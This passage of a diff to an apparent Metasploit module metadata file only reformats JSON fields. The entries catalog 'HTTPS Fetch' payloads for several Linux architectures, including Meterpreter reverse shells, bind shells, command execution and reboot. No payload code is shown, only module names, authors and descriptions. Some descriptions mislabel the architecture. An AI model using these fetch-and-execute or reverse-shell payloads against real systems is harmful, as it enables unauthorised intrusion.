8, @@ -204502,9 +209261,7 @@ "payload_cmd/linux/https/armle/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/armle/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204516,9 +209273,7 @@ "timwr" ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204532,8 +209287,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204544,9 +209298,7 @@ "payload_cmd/linux/https/armle/shell/bind_tcp": { "name": "HTTPS Fetch, Linux dup2 Command Shell, Bind TCP Stager", "fullname": "payload/cmd/linux/https/armle/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204556,9 +209308,7 @@ "nemo " ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.\ndup2 socket in r12, then execve.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204572,8 +209322,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204586,9 +209335,7 @@ "payload_cmd/linux/https/armle/shell/reverse_tcp": { "name": "HTTPS Fetch, Linux dup2 Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/armle/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204599,9 +209346,7 @@ "tkmru" ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.\ndup2 socket in r12, then execve.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204615,8 +209360,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204629,9 +209373,7 @@ "payload_cmd/linux/https/armle/shell_bind_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/https/armle/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204642,9 +209384,7 @@ "hal" ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.\nConnect to target and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204658,8 +209398,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204670,9 +209409,7 @@ "payload_cmd/linux/https/armle/shell_reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/https/armle/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204682,9 +209419,7 @@ "civ" ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204698,8 +209433,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204710,9 +209444,7 @@ "payload_cmd/linux/https/mips64/meterpreter_reverse_http": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204724,9 +209456,7 @@ "timwr" ], "description": "Fetch and execute an MIPS64 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204740,8 +209470,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204752,9 +209481,7 @@ "payload_cmd/linux/https/mips64/meterpreter_reverse_https": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204766,9 +209493,7 @@ "timwr" ], "description": "Fetch and execute an MIPS64 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204782,8 +209507,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204794,9 +209518,7 @@ "payload_cmd/linux/https/mips64/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204808,9 +209530,7 @@ "timwr" ], "description": "Fetch and execute an MIPS64 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204824,8 +209544,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204836,9 +209555,7 @@ "payload_cmd/linux/https/mipsbe/exec": { "name": "HTTPS Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/https/mipsbe/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204848,7 +209565,7 @@ "Michael Messner ", "entropy " ], - "description": "Fetch and execute an MIPSBE payload from an HTTPS server.\n\n A very small shellcode for executing commands.\n This module is sometimes helpful for testing purposes.", + "description": "Fetch and execute an MIPSBE payload from an HTTPS server.\n\n A very small shellcode for executing commands.\n This module is sometimes helpful for testing purposes.", "references": [ "EDB-17940" ], @@ -204865,8 +209582,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204877,9 +209593,7 @@ "payload_cmd/linux/https/mipsbe/meterpreter/reverse_tcp": { "name": "HTTPS Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/mipsbe/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204891,9 +209605,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSBE payload from an HTTPS server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204907,8 +209619,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204921,9 +209632,7 @@ "payload_cmd/linux/https/mipsbe/meterpreter_reverse_http": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/mipsbe/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204935,9 +209644,7 @@ "timwr" ], "description": "Fetch and execute an MIPSBE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204951,8 +209658,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204963,9 +209669,7 @@ "payload_cmd/linux/https/mipsbe/meterpreter_reverse_https": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/mipsbe/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204977,9 +209681,7 @@ "timwr" ], "description": "Fetch and execute an MIPSBE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204993,8 +209695,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205005,9 +209706,7 @@ "payload_cmd/linux/https/mipsbe/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/mipsbe/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205019,9 +209718,7 @@ "timwr" ], "description": "Fetch and execute an MIPSBE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205035,8 +209732,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205047,9 +209743,7 @@ "payload_cmd/linux/https/mipsbe/reboot": { "name": "HTTPS Fetch, Linux Reboot", "fullname": "payload/cmd/linux/https/mipsbe/reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205059,7 +209753,7 @@ "Michael Messner ", "rigan - " ], - "description": "Fetch and execute an MIPSBE payload from an HTTPS server.\n\n A very small shellcode for rebooting the system.\n This payload is sometimes helpful for testing purposes or executing\n other payloads that rely on initial startup procedures.", + "description": "Fetch and execute an MIPSBE payload from an HTTPS server.\n\n A very small shellcode for rebooting the system.\n This payload is sometimes helpful for testing purposes or executing\n other payloads that rely on initial startup procedures.", "references": [ "URL-http://www.shell-storm.org/shellcode/files/shellcode-795.php" ], @@ -205076,8 +209770,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205088,9 +209781,7 @@ "payload_cmd/linux/https/mipsbe/shell/reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/mipsbe/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205101,9 +209792,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSBE payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205117,8 +209806,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205131,9 +209819,7 @@ "payload_cmd/linux/https/mipsbe/shell_bind_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/https/mipsbe/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205146,9 +209832,7 @@ "juan vazquez " ], "description": "Fetch and execute an MIPSBE payload from an HTTPS server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205162,8 +209846,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205174,9 +209857,7 @@ "payload_cmd/linux/https/mipsbe/shell_reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/https/mipsbe/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205203,8 +209884,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205215,9 +209895,7 @@ "payload_cmd/linux/https/mipsle/exec": { "name": "HTTPS Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/https/mipsle/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205227,7 +209905,7 @@ "Michael Messner ", "entropy " ], - "description": "Fetch and execute an MIPSLE payload from an HTTPS server.\n\n A very small shellcode for executing commands.\n This module is sometimes helpful for testing purposes as well as\n on targets with extremely limited buffer space.", + "description": "Fetch and execute an MIPSLE payload from an HTTPS server.\n\n A very small shellcode for executing commands.\n This module is sometimes helpful for testing purposes as well as\n on targets with extremely limited buffer space.", "references": [ "EDB-17940" ], @@ -205244,8 +209922,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205256,9 +209933,7 @@ "payload_cmd/linux/https/mipsle/meterpreter/reverse_tcp": { "name": "HTTPS Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/mipsle/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205270,9 +209945,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSLE payload from an HTTPS server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205286,8 +209959,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205300,9 +209972,7 @@ "payload_cmd/linux/https/mipsle/meterpreter_reverse_http": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/mipsle/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205314,9 +209984,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205330,8 +209998,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205342,9 +210009,7 @@ "payload_cmd/linux/https/mipsle/meterpreter_reverse_https": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/mipsle/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205356,9 +210021,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205372,8 +210035,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205384,9 +210046,7 @@ "payload_cmd/linux/https/mipsle/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/mipsle/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205398,9 +210058,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205414,8 +210072,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205426,9 +210083,7 @@ "payload_cmd/linux/https/mipsle/reboot": { "name": "HTTPS Fetch, Linux Reboot", "fullname": "payload/cmd/linux/https/mipsle/reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205438,7 +210093,7 @@ "Michael Messner ", "rigan - " ], - "description": "Fetch and execute an MIPSLE payload from an HTTPS server.\n\n A very small shellcode for rebooting the system.\n This payload is sometimes helpful for testing purposes.", + "description": "Fetch and execute an MIPSLE payload from an HTTPS server.\n\n A very small shellcode for rebooting the system.\n This payload is sometimes helpful for testing purposes.", "references": [ "URL-http://www.shell-storm.org/shellcode/files/shellcode-795.php" ], @@ -205455,8 +210110,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205467,9 +210121,7 @@ "payload_cmd/linux/https/mipsle/shell/reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/mipsle/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205480,9 +210132,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSLE payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205496,8 +210146,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205510,9 +210159,7 @@ "payload_cmd/linux/https/mipsle/shell_bind_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/https/mipsle/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205525,9 +210172,7 @@ "juan vazquez " ], "description": "Fetch and execute an MIPSLE payload from an HTTPS server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205541,8 +210186,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205553,9 +210197,7 @@ "payload_cmd/linux/https/mipsle/shell_reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/https/mipsle/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205566,9 +210208,7 @@ "juan vazquez " ], "description": "Fetch and execute an MIPSLE payload from an HTTPS server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205582,8 +210222,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205594,9 +210233,7 @@ "payload_cmd/linux/https/ppc/meterpreter_reverse_http": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/ppc/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205608,9 +210245,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205624,8 +210259,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205636,9 +210270,7 @@ "payload_cmd/linux/https/ppc/meterpreter_reverse_https": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/ppc/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205650,9 +210282,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205666,8 +210296,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205678,9 +210307,7 @@ "payload_cmd/linux/https/ppc/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/ppc/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205692,9 +210319,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205708,8 +210333,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205720,9 +210344,7 @@ "payload_cmd/linux/https/ppc64/shell_bind_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/https/ppc64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205732,9 +210354,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an PPC64 payload from an HTTPS server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205748,8 +210368,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205760,9 +210379,7 @@ "payload_cmd/linux/https/ppc64/shell_find_port": { "name": "HTTPS Fetch, Linux Command Shell, Find Port Inline", "fullname": "payload/cmd/linux/https/ppc64/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205772,9 +210389,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an PPC64 payload from an HTTPS server.\nSpawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205788,8 +210403,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205800,9 +210414,7 @@ "payload_cmd/linux/https/ppc64/shell_reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/https/ppc64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205812,9 +210424,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an PPC64 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205828,8 +210438,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205840,9 +210449,7 @@ "payload_cmd/linux/https/ppc64le/meterpreter_reverse_http": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/ppc64le/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205854,9 +210461,7 @@ "timwr" ], "description": "Fetch and execute a PPC64LE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205870,8 +210475,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205882,9 +210486,7 @@ "payload_cmd/linux/https/ppc64le/meterpreter_reverse_https": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/ppc64le/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205896,9 +210498,7 @@ "timwr" ], "description": "Fetch and execute a PPC64LE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205912,8 +210512,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205924,9 +210523,7 @@ "payload_cmd/linux/https/ppc64le/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/ppc64le/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205938,9 +210535,7 @@ "timwr" ], "description": "Fetch and execute a PPC64LE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205954,8 +210549,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205966,9 +210560,7 @@ "payload_cmd/linux/https/x64/exec": { "name": "HTTPS Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/https/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205978,9 +210570,7 @@ "Geyslan G. Bem " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nExecute an arbitrary command or just a /bin/sh shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205994,8 +210584,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206006,9 +210595,7 @@ "payload_cmd/linux/https/x64/meterpreter/bind_tcp": { "name": "HTTPS Fetch, Bind TCP Stager", "fullname": "payload/cmd/linux/https/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206018,9 +210605,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -206034,8 +210619,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206048,9 +210632,7 @@ "payload_cmd/linux/https/x64/meterpreter/reverse_sctp": { "name": "HTTPS Fetch, Reverse SCTP Stager", "fullname": "payload/cmd/linux/https/x64/meterpreter/reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206060,9 +210642,7 @@ "RageLtMan " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -206076,8 +210656,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206090,9 +210669,7 @@ "payload_cmd/linux/https/x64/meterpreter/reverse_tcp": { "name": "HTTPS Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206103,9 +210680,7 @@ "tkmru" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -206119,8 +210694,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206133,9 +210707,7 @@ "payload_cmd/linux/https/x64/meterpreter_reverse_http": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206146,9 +210718,7 @@ "timwr" ], "description": "Fetch and execute an x64 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206162,8 +210732,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206174,9 +210743,7 @@ "payload_cmd/linux/https/x64/meterpreter_reverse_https": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206187,9 +210754,7 @@ "timwr" ], "description": "Fetch and execute an x64 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206203,8 +210768,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206215,9 +210779,7 @@ "payload_cmd/linux/https/x64/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206228,9 +210790,7 @@ "timwr" ], "description": "Fetch and execute an x64 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206244,8 +210804,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206256,9 +210815,7 @@ "payload_cmd/linux/https/x64/pingback_bind_tcp": { "name": "HTTPS Fetch, Linux x64 Pingback, Bind TCP Inline", "fullname": "payload/cmd/linux/https/x64/pingback_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206267,9 +210824,7 @@ "bwatters-r7" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nAccept a connection from attacker and report UUID (Linux x64)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206283,8 +210838,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206295,9 +210849,7 @@ "payload_cmd/linux/https/x64/pingback_reverse_tcp": { "name": "HTTPS Fetch, Linux x64 Pingback, Reverse TCP Inline", "fullname": "payload/cmd/linux/https/x64/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206306,9 +210858,7 @@ "bwatters-r7" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to 